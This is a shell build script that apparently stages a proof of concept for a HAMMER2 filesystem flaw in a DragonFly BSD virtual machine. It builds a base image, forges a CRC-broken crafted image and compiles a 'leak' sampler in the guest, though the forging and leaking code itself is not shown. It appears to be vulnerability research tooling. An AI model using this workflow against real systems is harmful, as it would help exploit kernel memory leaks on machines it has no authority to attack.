DF-2627 / build.sh
#!/bin/sh # DF-2627 build: base image in guest, forge variant on host, push to guest. set -e CD=$(dirname "$0") # 1. guest (root): make the base image (64M, newfs_hammer2, 12 sacrificial # + 40 payload files, sacrificial removed, sync, umount) ssh -F dfbsd-qemu/config dfbsd 'mkdir -p /root/poc/df2627 /mnt/h2x' scp -F dfbsd-qemu/config "$CD/mkbase2627.sh" dfbsd:/root/poc/ ssh -F dfbsd-qemu/config dfbsd 'sh /root/poc/mkbase2627.sh' scp -F dfbsd-qemu/config dfbsd:/root/poc/df2627/base2627.img "$CD/" # 2. host: forge the CRC-broken variant (no ancestor/volhdr edits needed) python3 "$CD/forge_df2627.py" "$CD/base2627.img" "$CD/craft2627.img" # 3. build the sampler in the guest scp -F dfbsd-qemu/config "$CD/leak_df2627.c" dfbsd:/root/poc/df2627/ ssh -F dfbsd-qemu/config dfbsd 'cc -O -o /root/poc/df2627/leak_df2627 /root/poc/df2627/leak_df2627.c' # 4. push everything to the guest scp -F dfbsd-qemu/config "$CD/base2627.img" "$CD/craft2627.img" \ dfbsd:/root/poc/df2627/ echo BUILD_OK |